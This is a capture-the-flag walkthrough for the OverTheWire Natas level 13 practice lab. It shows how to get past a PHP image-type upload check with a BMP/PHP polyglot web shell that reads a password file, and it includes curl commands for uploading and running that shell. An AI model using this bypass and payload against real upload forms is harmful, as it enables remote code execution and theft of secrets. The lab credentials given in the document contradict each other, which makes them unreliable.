OverTheWire Natas Level 12 → 13 tutorial!!
Login
URL: http://natas13.natas.labs.overthewire.org
Credentials: natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
# Using curl (optional):
curl -u natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC http://natas13.natas.labs.overthewire.org/

Task
This level is another file upload challenge, but now the server verifies that the uploaded file is an image using exif_imagetype().
A little bit of Theory
From the source:
if (array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err = $_FILES['uploadedfile']['error'];
if ($err) {
if ($err === 2) echo "The uploaded file exceeds MAX_FILE_SIZE";
else echo "Something went wrong :/";
} else if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
}
}
}
Key points:
- The extension is still controlled by the hidden
filenamefield (like Level 12). - The server accepts only images based on magic bytes (
exif_imagetype()reads the first bytes). - We can prepend real image magic bytes to our PHP code to pass the image check, while still executing as PHP when saved with
.php.
BMP magic bytes are simply BM. That’s the easiest header to prepend.
Solution (no Burp, curl-only)
-
Create a tiny BMP+PHP “polyglot”
Prepend
BM(no newline) to valid PHP that prints the next password:BM<?php echo system("cat /etc/natas_webpass/natas14"); ?>Save as
shell13.php. Keep it under 1000 bytes. -
Upload with curl (force .php extension)
curl -s -L -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY \ -F "MAX_FILE_SIZE=1000" \ -F "filename=shell.php" \ -F "uploadedfile=@shell13.php" \ http://natas13.natas.labs.overthewire.org/index.phpThe server responds with a link such as:
The file <a href="upload/98myk053xn.php">upload/98myk053xn.php</a> has been uploaded -
Execute the uploaded script
curl -s -L -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY \ "http://natas13.natas.labs.overthewire.org/upload/98myk053xn.php"The output contains the next level’s password (you may see
BMat the start—ignore it).
Password
z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
Troubleshooting
- “File is not an image” → Make sure the file starts with
BM(no newline/space before it). - Saved with
.jpg→ You forgot to override the hiddenfilenameto a.phpextension in your form data. - File too big → Keep the payload < 1000 bytes.
- 404 on upload path → Use the exact random path returned by the server.
Great job 🎉 You bypassed exif_imagetype() by crafting a BMP+PHP polyglot and executed your own code to exfiltrate the next password. On to natas14!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
